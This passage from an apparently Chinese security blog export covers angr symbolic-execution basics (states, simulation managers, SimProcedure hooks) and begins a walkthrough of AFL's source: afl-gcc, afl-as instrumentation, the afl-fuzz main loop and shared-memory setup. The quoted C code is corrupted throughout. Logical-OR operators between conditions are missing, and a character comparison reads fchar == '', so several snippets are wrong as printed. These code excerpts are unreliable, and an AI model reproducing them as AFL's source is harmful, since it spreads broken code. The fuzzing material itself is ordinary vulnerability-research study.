block. block.BLOCK_MAX_SIZE &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.capstone &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.instructions &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.reset_initial_regs() &nbsp;&nbsp;&nbsp;&nbsp;block.size block.addr &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.codenode &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.parse( &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.serialize() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.thumb block.arch &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.disassembly &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.parse_from_cmessage( &nbsp;&nbsp;&nbsp;&nbsp;block.serialize_to_cmessage() &nbsp;block.vex block.bytes &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.instruction_addrs &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.pp( &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.set_initial_regs() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.vex_nostmt\n\nState 模块>>> state=project.factory.entry_state()<SimState @ 0x8048450>>>> state.regs.eip <BV32 0x8048450>>>> state.mem[project.entry].int.resolved <BV32 0x895eed31>>>> state.mem[0x1000].long = 4>>> state.mem[0x1000].long.resolved <BV32 0x4>\n\n这个 state 包括了符号实行中所需要的所有符号。\n通过 state.regs.eip 可以看出,所有的寄存器都会替换为一个符号。该符号可以由模块自行推算,也可以人为的进行更改。也正因如此,Angr 能够通过条件约束对符号的值进行解方程,从而去计算输入,比如说:\n>>> bv = state.solver.BVV(0x2333, 32) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BV32 0x2333>>>> state.solver.eval(bv) 9011\n\n另外还存在一些值,它只有在运行时才能够得知,对于这些值,Angr 会将它标记为 UNINITIALIZED :\n>>> state.regs.edi WARNING &nbsp; 2023-04-12 17:28:41,490 angr.storage.memory_mixins.default_filler_mixin The program is accessing register with an unspecified value. This could indicate unwanted behavior.WARNING &nbsp; 2023-04-12 17:28:41,491 angr.storage.memory_mixins.default_filler_mixin angr will cope with this by generating an unconstrained symbolic variable and con tinuing. You can resolve this by:WARNING &nbsp; 2023-04-12 17:28:41,491 angr.storage.memory_mixins.default_filler_mixin 1) setting a value to the initial state WARNING &nbsp; 2023-04-12 17:28:41,492 angr.storage.memory_mixins.default_filler_mixin 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make un known regions hold nullWARNING &nbsp; 2023-04-12 17:28:41,492 angr.storage.memory_mixins.default_filler_mixin 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppr ess these messages. WARNING &nbsp; 2023-04-12 17:28:41,492 angr.storage.memory_mixins.default_filler_mixin Filling register edi with 4 unconstrained bytes referenced from 0x8048450 (_start +0x0 in 02_angr_find_condition (0x8048450))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BV32 reg_edi_1_32{UNINITIALIZED}>\n\n另外值得一提的是,除了 entry_state 外还有其他状态可用于初始化:\n\nblank_state:构造一个“空白板”空白状态,其中大部分数据未初始化。当访问未初始化的数据时,将返回一个不受约束的符号值。\nentry_state:造一个准备在主二进制文件的入口点执行的状态。\nfull_init_state:构造一个准备好通过任何需要在主二进制文件入口点之前运行的初始化程序执行的状态,例如,共享库构造函数或预初始化程序。完成这些后,它将跳转到入口点。\ncall_state:构造一个准备好执行给定函数的状态。\n\n这些构造函数都能通过参数 addr 来指定初始时的 rip/eip 地址。而 call_state 可以用这种方式来构造传参:call_state(addr,&nbsp;arg1,&nbsp;arg2,&nbsp;...)\nSimulation Managers 模块SM(Simulation Managers)是一个用来管理 State 的模块,它需要为符号指出如何运行。\n>>> simgr = project.factory.simulation_manager(state) <SimulationManager with 1 active> >>> simgr.active [<SimState @ 0x8048450>]\n\n通过 step 可以让这组模拟执行一个基本块:\n>>> simgr.step() <SimulationManager with 1 active> >>> simgr.active [<SimState @ 0x8048420>]>>> simgr.active[0].regs.eip <BV32 0x8048420>\n\n此时的 eip 对应了 __libc_start_main 的地址。\n同样也可以查看此时的模拟内存状态,可以发现它储存了函数的返回地址:\n>>> simgr.active[0].mem[simgr.active[0].regs.esp].int.resolved &nbsp;&nbsp; <BV32 0x8048471>\n\n而我们比较熟悉的 simgr 其实就是 simulation_manager 简写:\n>>> project.factory.simgr() <SimulationManager with 1 active> >>> project.factory.simulation_manager() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <SimulationManager with 1 active>\n\nSimProcedure在前文中提到过 Angr 会 hook 一些常用的库函数来提高效率。它支持一下这些外部库:\n>>> angr.procedures. angr.procedures.SIM_LIBRARIES &nbsp;&nbsp;angr.procedures.glibc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_util &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.ntdll &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.uclibc angr.procedures.SIM_PROCEDURES &nbsp;angr.procedures.gnulib &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.posix &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.win32 angr.procedures.SimProcedures &nbsp;&nbsp;angr.procedures.java &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libstdcpp &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.procedure_dict &nbsp;angr.procedures.win_user32 angr.procedures.advapi32 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_io &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.linux_kernel &nbsp;&nbsp;&nbsp;angr.procedures.stubs &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; angr.procedures.cgc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_jni &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.linux_loader &nbsp;&nbsp;&nbsp;angr.procedures.testing &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; angr.procedures.definitions &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_lang &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.msvcr &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.tracer\n\n以 libc 为例就可以看到,它支持了一部分 libc 中的函数:\n>>> angr.procedures.libc. angr.procedures.libc.abort &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.fprintf &nbsp;&nbsp;&nbsp;angr.procedures.libc.getuid &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.setvbuf &nbsp;&nbsp;&nbsp;angr.procedures.libc.strstr angr.procedures.libc.access &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.fputc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.malloc &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.snprintf &nbsp;&nbsp;angr.procedures.libc.strtol......由于函数过多,这里就不展示了\n\n因此如果程序中调用了这部分函数,默认情况下就会由 angr.procedures.libc 中实现的函数进行接管。但是请务必注意,官方文档中也有提及,一部分函数的实现并不完善,比如说对 scanf 的格式化字符串支持并不是很好,因此有的时候需要自己编写函数来 hook 它。\nhook 模块紧接着上文提到的问题,Angr 接受由用户自定义函数来进行 hook 的操作。\n>>> func=angr.SIM_PROCEDURES['libc']['scanf']>>> project.hook(0x10000, func())>>> project.hooked_by(0x10000) &nbsp;&nbsp;&nbsp; <SimProcedure scanf>>>> project.unhook(0x10000)>>> project.hooked_by(0x10000) WARNING &nbsp; 2023-04-12 19:20:39,782 angr.project &nbsp;&nbsp; Address 0x10000 is not hooked\n\n第一种方案是直接对地址进行 hook,通过直接使用 project.hook(addr,function()) 的方法直接钩取。\n同时,Angr 对于有符号的二进制程序也运行直接对符号本身进行钩取:project.hook_symbol(name,function) 。\n参考阅读\nangr 系列教程(一)核心概念及模块解读https://xz.aliyun.com/t/7117\nangr documentationhttps://docs.angr.io/en/latest/quickstart.html\n\n","categories":["Note","漏洞挖掘"],"tags":["Angr","漏洞挖掘","符号执行"]},{"title":"AFL 源代码速通笔记","url":"/2023/04/12/aflsourcecodeview/","content":"AFL 源代码速通笔记因为认识的师傅们都开始卷 fuzz 了,迫于生活压力,于是也开始看这方面的内容了。由于 AFL 作为一个现在仍然适用且比较经典的 fuzzer,因此笔者也打算从它开始。\n\n本来,本篇博文叫做 《AFL 源代码阅读笔记》,结果跟着大佬们的笔记去读(sakura师傅的笔记确实是神中神,本文也有很多地方照搬了师傅的原文,因为说实话我觉得自己也写不到那么详细),囫囵吞枣般速通了,前前后后三天时间这样,但感觉自己尚且没有自己实现的能力,还是比较令人失望的(我怎么这么菜)\n\n\nafl-gcc 原理首先,一般我们用 afl 去 fuzz 一些项目的时候都需要用 afl-gcc 去代替 gcc 进行编译。先说结论,这一步的目的其实是为了向代码中插桩,完成插桩后其实还是调用原生的 gcc 进行编译。\n其实这个描述有些偏颇,插桩其实是 afl-as 负责的,不过在这里,笔者将 afl-gcc 和 afl-as 放到同一节,因此用了这样的表述,下文会具体分析 afl-as 的原理。\n\n首先需要说明的是,gcc 对代码的编译流程的分层次的:\n\n源代码–>预编译后的源代码–>汇编代码–>机器码–>链接后的二进制文件\n\n其中,从源代码到汇编代码的步骤由 gcc 完成;而汇编代码到机器码的部分由 as 完成。\n而 afl-gcc 的源代码如下:\nint main(int argc, char** argv) { ....... find_as(argv[0]); edit_params(argc, argv); execvp(cc_params[0], (char**)cc_params); FATAL("Oops, failed to execute '%s' - check your PATH", cc_params[0]); return 0;}\n\n\nfind_as:查找 as 这个二进制程序,用 afl-as 替换它\nedit_params:修改参数\nexecvp:调用原生 gcc 对代码进行编译\n\nstatic void edit_params(u32 argc, char** argv) { ......#else if (!strcmp(name, "afl-g++")) { u8* alt_cxx = getenv("AFL_CXX"); cc_params[0] = alt_cxx ? alt_cxx : (u8*)"g++"; } else if (!strcmp(name, "afl-gcj")) { u8* alt_cc = getenv("AFL_GCJ"); cc_params[0] = alt_cc ? alt_cc : (u8*)"gcj"; } else { u8* alt_cc = getenv("AFL_CC"); cc_params[0] = alt_cc ? alt_cc : (u8*)"gcc"; }#endif /* __APPLE__ */ } while (--argc) { u8* cur = *(++argv); if (!strncmp(cur, "-B", 2)) { if (!be_quiet) WARNF("-B is already set, overriding"); if (!cur[2] && argc > 1) { argc--; argv++; } continue; } if (!strcmp(cur, "-integrated-as")) continue; if (!strcmp(cur, "-pipe")) continue;#if defined(__FreeBSD__) && defined(__x86_64__) if (!strcmp(cur, "-m32")) m32_set = 1;#endif if (!strcmp(cur, "-fsanitize=address") !strcmp(cur, "-fsanitize=memory")) asan_set = 1; if (strstr(cur, "FORTIFY_SOURCE")) fortify_set = 1; cc_params[cc_par_cnt++] = cur; } cc_params[cc_par_cnt++] = "-B"; cc_params[cc_par_cnt++] = as_path; if (clang_mode) cc_params[cc_par_cnt++] = "-no-integrated-as"; if (getenv("AFL_HARDEN")) { cc_params[cc_par_cnt++] = "-fstack-protector-all"; if (!fortify_set) cc_params[cc_par_cnt++] = "-D_FORTIFY_SOURCE=2"; } if (asan_set) { /* Pass this on to afl-as to adjust map density. */ setenv("AFL_USE_ASAN", "1", 1); } else if (getenv("AFL_USE_ASAN")) { if (getenv("AFL_USE_MSAN")) FATAL("ASAN and MSAN are mutually exclusive"); if (getenv("AFL_HARDEN")) FATAL("ASAN and AFL_HARDEN are mutually exclusive"); cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE"; cc_params[cc_par_cnt++] = "-fsanitize=address"; } else if (getenv("AFL_USE_MSAN")) { if (getenv("AFL_USE_ASAN")) FATAL("ASAN and MSAN are mutually exclusive"); if (getenv("AFL_HARDEN")) FATAL("MSAN and AFL_HARDEN are mutually exclusive"); cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE"; cc_params[cc_par_cnt++] = "-fsanitize=memory"; } if (!getenv("AFL_DONT_OPTIMIZE")) {#if defined(__FreeBSD__) && defined(__x86_64__) /* On 64-bit FreeBSD systems, clang -g -m32 is broken, but -m32 itself works OK. This has nothing to do with us, but let's avoid triggering that bug. */ if (!clang_mode !m32_set) cc_params[cc_par_cnt++] = "-g";#else cc_params[cc_par_cnt++] = "-g";#endif cc_params[cc_par_cnt++] = "-O3"; cc_params[cc_par_cnt++] = "-funroll-loops"; /* Two indicators that you're building for fuzzing; one of them is AFL-specific, the other is shared with libfuzzer. */ cc_params[cc_par_cnt++] = "-D__AFL_COMPILER=1"; cc_params[cc_par_cnt++] = "-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1"; } if (getenv("AFL_NO_BUILTIN")) { cc_params[cc_par_cnt++] = "-fno-builtin-strcmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strncmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strncasecmp"; cc_params[cc_par_cnt++] = "-fno-builtin-memcmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strstr"; cc_params[cc_par_cnt++] = "-fno-builtin-strcasestr"; } cc_params[cc_par_cnt] = NULL;}\n\n挺长的,不过逻辑基本上都是重复的,主要做两件事:\n\n给 gcc 添加一些额外的参数\n根据参数设置一些 flag\n\n在完成了汇编以后,接下来会使用 afl-as 对生成的汇编代码进行插桩:\nint main(int argc, char** argv) { ...... gettimeofday(&tv, &tz); rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid(); srandom(rand_seed); edit_params(argc, argv); ...... if (!just_version) add_instrumentation(); if (!(pid = fork())) { execvp(as_params[0], (char**)as_params); FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]); } if (pid < 0) PFATAL("fork() failed"); if (waitpid(pid, &status, 0) <= 0) PFATAL("waitpid() failed"); if (!getenv("AFL_KEEP_ASSEMBLY")) unlink(modified_file); exit(WEXITSTATUS(status));}\n\n在 afl-as 中,仍然使用 edit_params 编辑和修改参数,并使用 add_instrumentation 来对生成的汇编代码进行插桩。完成插桩后,用 fork 生成子进程,并调用原生的 as 进行编译。\n插桩逻辑也很朴素:\nstatic void add_instrumentation(void) { ...... /* If we're in the right mood for instrumenting, check for function names or conditional labels. This is a bit messy, but in essence, we want to catch: ^main: - function entry point (always instrumented) ^.L0: - GCC branch label ^.LBB0_0: - clang branch label (but only in clang mode) ^\\tjnz foo - conditional branches ...but not: ^# BB#0: - clang comments ^ # BB#0: - ditto ^.Ltmp0: - clang non-branch labels ^.LC0 - GCC non-branch labels ^.LBB0_0: - ditto (when in GCC mode) ^\\tjmp foo - non-conditional jumps Additionally, clang and GCC on MacOS X follow a different convention with no leading dots on labels, hence the weird maze of #ifdefs later on. */ if (skip_intel skip_app skip_csect !instr_ok line[0] == '#' line[0] == ' ') continue; /* Conditional branch instruction (jnz, etc). We append the instrumentation right after the branch (to instrument the not-taken path) and at the branch destination label (handled later on). */ if (line[0] == '\\t') { if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) { fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE)); ins_lines++; } continue; } /* Label of some sort. This may be a branch destination, but we need to tread carefully and account for several different formatting conventions. */#ifdef __APPLE__ /* Apple: L<whatever><digit>: */ if ((colon_pos = strstr(line, ":"))) { if (line[0] == 'L' && isdigit(*(colon_pos - 1))) {#else /* Everybody else: .L<whatever>: */ if (strstr(line, ":")) { if (line[0] == '.') {#endif /* __APPLE__ */ /* .L0: or LBB0_0: style jump destination */#ifdef __APPLE__ /* Apple: L<num> / LBB<num> */ if ((isdigit(line[1]) (clang_mode && !strncmp(line, "LBB", 3))) && R(100) < inst_ratio) {#else /* Apple: .L<num> / .LBB<num> */ if ((isdigit(line[2]) (clang_mode && !strncmp(line + 1, "LBB", 3))) && R(100) < inst_ratio) {#endif /* __APPLE__ */ /* An optimization is possible here by adding the code only if the label is mentioned in the code in contexts other than call / jmp. That said, this complicates the code by requiring two-pass processing (messy with stdin), and results in a speed gain typically under 10%, because compilers are generally pretty good about not generating spurious intra-function jumps. We use deferred output chiefly to avoid disrupting .Lfunc_begin0-style exception handling calculations (a problem on MacOS X). */ if (!skip_next_label) instrument_next = 1; else skip_next_label = 0; } } else { /* Function label (always instrumented, deferred mode). */ instrument_next = 1; } } } if (ins_lines) fputs(use_64bit ? main_payload_64 : main_payload_32, outf); if (input_file) fclose(inf); fclose(outf); if (!be_quiet) { if (!ins_lines) WARNF("No instrumentation targets found%s.", pass_thru ? " (pass-thru mode)" : ""); else OKF("Instrumented %u locations (%s-bit, %s mode, ratio %u%%).", ins_lines, use_64bit ? "64" : "32", getenv("AFL_HARDEN") ? "hardened" : (sanitizer ? "ASAN/MSAN" : "non-hardened"), inst_ratio); }}\n\n简单来说就是一个循环读取每行汇编代码,并对特定的汇编代码进行插桩:\n\n首先需要保证代码位于 text 内存段\n如果是 main 函数或分支跳转指令则进行插桩\n如果是注释或强制跳转指令则不插桩\n\n插桩的具体代码保存在 afl-as.h 中,在最后一节中笔者会另外介绍,这里我们可以暂时忽略它的实现细节继续往下。\nafl-fuzz按照顺序,现在程序是编译好了,接下来就要用 afl-fuzz 对它进行模糊测试了。\n一般来说,我们会用 afl-fuzz -i input -o output -- programe 启动 fuzzer,对应的,afl-fuzz.c 中的前半部分都在做参数解析的工作:\nint main(int argc, char** argv) { ...... gettimeofday(&tv, &tz); srandom(tv.tv_sec ^ tv.tv_usec ^ getpid()); while ((opt = getopt(argc, argv, "+i:o:f:m:b:t:T:dnCB:S:M:x:QV")) > 0) switch (opt) { case 'i': /* input dir */ if (in_dir) FATAL("Multiple -i options not supported"); in_dir = optarg; if (!strcmp(in_dir, "-")) in_place_resume = 1; break; case 'o': /* output dir */ if (out_dir) FATAL("Multiple -o options not supported"); out_dir = optarg; break; ...... case 'V': /* Show version number */ /* Version number has been printed already, just quit. */ exit(0); default: usage(argv[0]); }\n\n这部分我们大致看一下就行了,主要的关注点自然不在参数解析部分。\nint main(int argc, char** argv) { ...... setup_signal_handlers(); check_asan_opts(); if (sync_id) fix_up_sync(); if (!strcmp(in_dir, out_dir)) FATAL("Input and output directories can't be the same"); if (dumb_mode) { if (crash_mode) FATAL("-C and -n are mutually exclusive"); if (qemu_mode) FATAL("-Q and -n are mutually exclusive"); } if (getenv("AFL_NO_FORKSRV")) no_forkserver = 1; if (getenv("AFL_NO_CPU_RED")) no_cpu_meter_red = 1; if (getenv("AFL_NO_ARITH")) no_arith = 1; if (getenv("AFL_SHUFFLE_QUEUE")) shuffle_queue = 1; if (getenv("AFL_FAST_CAL")) fast_cal = 1; if (getenv("AFL_HANG_TMOUT")) { hang_tmout = atoi(getenv("AFL_HANG_TMOUT")); if (!hang_tmout) FATAL("Invalid value of AFL_HANG_TMOUT"); } if (dumb_mode == 2 && no_forkserver) FATAL("AFL_DUMB_FORKSRV and AFL_NO_FORKSRV are mutually exclusive"); if (getenv("AFL_PRELOAD")) { setenv("LD_PRELOAD", getenv("AFL_PRELOAD"), 1); setenv("DYLD_INSERT_LIBRARIES", getenv("AFL_PRELOAD"), 1); } if (getenv("AFL_LD_PRELOAD")) FATAL("Use AFL_PRELOAD instead of AFL_LD_PRELOAD"); save_cmdline(argc, argv); fix_up_banner(argv[optind]); check_if_tty(); get_core_count();#ifdef HAVE_AFFINITY bind_to_free_cpu();#endif /* HAVE_AFFINITY */ check_crash_handling(); check_cpu_governor(); setup_post(); setup_shm(); init_count_class16(); setup_dirs_fds(); read_testcases(); load_auto(); pivot_inputs(); if (extras_dir) load_extras(extras_dir); if (!timeout_given) find_timeout(); detect_file_args(argv + optind + 1); if (!out_file) setup_stdio_file(); check_binary(argv[optind]); start_time = get_cur_time(); if (qemu_mode) use_argv = get_qemu_argv(argv[0], argv + optind, argc - optind); else use_argv = argv + optind; perform_dry_run(use_argv); cull_queue(); show_init_stats(); seek_to = find_start_position(); write_stats_file(0, 0, 0); save_auto(); if (stop_soon) goto stop_fuzzing; /* Woop woop woop */ if (!not_on_tty) { sleep(4); start_time += 4000; if (stop_soon) goto stop_fuzzing; } while (1) { u8 skipped_fuzz; cull_queue(); if (!queue_cur) { queue_cycle++; current_entry = 0; cur_skipped_paths = 0; queue_cur = queue; while (seek_to) { current_entry++; seek_to--; queue_cur = queue_cur->next; } show_stats(); if (not_on_tty) { ACTF("Entering queue cycle %llu.", queue_cycle); fflush(stdout); } /* If we had a full queue cycle with no new finds, try recombination strategies next. */ if (queued_paths == prev_queued) { if (use_splicing) cycles_wo_finds++; else use_splicing = 1; } else cycles_wo_finds = 0; prev_queued = queued_paths; if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST")) sync_fuzzers(use_argv); } skipped_fuzz = fuzz_one(use_argv); if (!stop_soon && sync_id && !skipped_fuzz) { if (!(sync_interval_cnt++ % SYNC_INTERVAL)) sync_fuzzers(use_argv); } if (!stop_soon && exit_1) stop_soon = 2; if (stop_soon) break; queue_cur = queue_cur->next; current_entry++; } if (queue_cur) show_stats(); /* If we stopped programmatically, we kill the forkserver and the current runner. If we stopped manually, this is done by the signal handler. */ if (stop_soon == 2) { if (child_pid > 0) kill(child_pid, SIGKILL); if (forksrv_pid > 0) kill(forksrv_pid, SIGKILL); } /* Now that we've killed the forkserver, we wait for it to be able to get rusage stats. */ if (waitpid(forksrv_pid, NULL, 0) <= 0) { WARNF("error waitpid\\n"); } write_bitmap(); write_stats_file(0, 0, 0); save_auto();stop_fuzzing: SAYF(CURSOR_SHOW cLRD "\\n\\n+++ Testing aborted %s +++\\n" cRST, stop_soon == 2 ? "programmatically" : "by user"); /* Running for more than 30 minutes but still doing first cycle? */ if (queue_cycle == 1 && get_cur_time() - start_time > 30 * 60 * 1000) { SAYF("\\n" cYEL "[!] " cRST "Stopped during the first cycle, results may be incomplete.\\n" " (For info on resuming, see %s/README.)\\n", doc_path); } fclose(plot_file); destroy_queue(); destroy_extras(); ck_free(target_path); ck_free(sync_id); alloc_report(); OKF("We're done here. Have a nice day!\\n"); exit(0);}\n\nsetup_signal_handlers设置一些信号处理函数,比如说退出信号时要主动释放子进程、窗口大小调整时要跟踪变化等。\ncheck_asan_opts读取环境变量ASAN_OPTIONS和MSAN_OPTIONS,做一些检查\nfix_up_sync略\nsave_cmdline保存当前的命令\nfix_up_banner创建一个 banner\ncheck_if_tty检查是否在tty终端上面运行。\nget_core_count计数logical CPU cores。\ncheck_crash_handling检查崩溃处理函数,确保崩溃后不会进入程序。\ns32 fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);u8 fchar;if (fd < 0) return;ACTF("Checking core_pattern...");if (read(fd, &fchar, 1) == 1 && fchar == '') { SAYF("\\n" cLRD "[-] " cRST "Hmm, your system is configured to send core dump notifications to an\\n" " external utility. This will cause issues: there will be an extended delay\\n" " between stumbling upon a crash and having this information relayed to the\\n" " fuzzer via the standard waitpid() API.\\n\\n" " To avoid having crashes misinterpreted as timeouts, please log in as root\\n" " and temporarily modify /proc/sys/kernel/core_pattern, like so:\\n\\n" " echo core >/proc/sys/kernel/core_pattern\\n"); if (!getenv("AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES")) FATAL("Pipe at the beginning of 'core_pattern'");}close(fd);\n\n笔者在 Ubuntu20 上跑 AFL 就会遇到这个问题,因为在默认情况下,系统会将崩溃信息通过管道发送给外部程序,由于这会影响到效率,因此通过 echo core >/proc/sys/kernel/core_pattern 修改保存崩溃信息的方式,将它保存为本地文件。\ncheck_cpu_governor检查cpu的调节器,来使得cpu可以处于高效的运行状态。\nsetup_post如果用户指定了环境变量 AFL_POST_LIBRARY ,那么就会从对应的路径下加载动态库并加载 afl_postprocess 函数并保存在 post_handler 中。\nsetup_shmEXP_ST void setup_shm(void) { u8* shm_str; if (!in_bitmap) memset(virgin_bits, 255, MAP_SIZE); memset(virgin_tmout, 255, MAP_SIZE); memset(virgin_crash, 255, MAP_SIZE); shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT IPC_EXCL 0600); if (shm_id < 0) PFATAL("shmget() failed"); atexit(remove_shm); shm_str = alloc_printf("%d", shm_id); /* If somebody is asking us to fuzz instrumented binaries in dumb mode, we don't want them to detect instrumentation, since we won't be sending fork server commands. This should be replaced with better auto-detection later on, perhaps? */ if (!dumb_mode) setenv(SHM_ENV_VAR, shm_str, 1); ck_free(shm_str); trace_bits = shmat(shm_id, NULL, 0); if (trace_bits == (void *)-1) PFATAL("shmat() failed");}\n\n初始化 virgin_bits 数组用于保存后续模糊测试中覆盖的路径,virgin_tmout 保存超时的路径,virgin_crash 保存崩溃的路径。\n同时建立共享内存 trace_bits,该变量用于储存样例运行时的路径。\n同时将共享内存的唯一标识符 shm_id 转为字符串后保存在环境变量 SHM_ENV_VAR 中。\ninit_count_class16初始化count_class_lookup16数组,帮助快速归类统计路径覆盖的数量。\nsetup_dirs_fds创建输出目录。\nread_testcases读取测试样例。\nstatic void read_testcases(void) { struct dirent **nl; s32 nl_cnt; u32 i; u8* fn; /* Auto-detect non-in-place resumption attempts. */ fn = alloc_printf("%s/queue", in_dir); if (!access(fn, F_OK)) in_dir = fn; else ck_free(fn); ACTF("Scanning '%s'...", in_dir); /* We use scandir() + alphasort() rather than readdir() because otherwise, the ordering of test cases would vary somewhat randomly and would be difficult to control. */ nl_cnt = scandir(in_dir, &nl, NULL, alphasort); if (nl_cnt < 0) { if (errno == ENOENT errno == ENOTDIR) SAYF("\\n" cLRD "[-] " cRST "The input directory does not seem to be valid - try again. The fuzzer needs\\n" " one or more test case to start with - ideally, a small file under 1 kB\\n" " or so. The cases must be stored as regular files directly in the input\\n" " directory.\\n"); PFATAL("Unable to open '%s'", in_dir); } if (shuffle_queue && nl_cnt > 1) { ACTF("Shuffling queue..."); shuffle_ptrs((void**)nl, nl_cnt); } for (i = 0; i < nl_cnt; i++) { struct stat st; u8* fn = alloc_printf("%s/%s", in_dir, nl[i]->d_name); u8* dfn = alloc_printf("%s/.state/deterministic_done/%s", in_dir, nl[i]->d_name); u8 passed_det = 0; free(nl[i]); /* not tracked */ if (lstat(fn, &st) access(fn, R_OK)) PFATAL("Unable to access '%s'", fn); /* This also takes care of . and .. */ if (!S_ISREG(st.st_mode) !st.st_size strstr(fn, "/README.testcases")) { ck_free(fn); ck_free(dfn); continue; } if (st.st_size > MAX_FILE) FATAL("Test case '%s' is too big (%s, limit is %s)", fn, DMS(st.st_size), DMS(MAX_FILE)); /* Check for metadata that indicates that deterministic fuzzing is complete for this entry. We don't 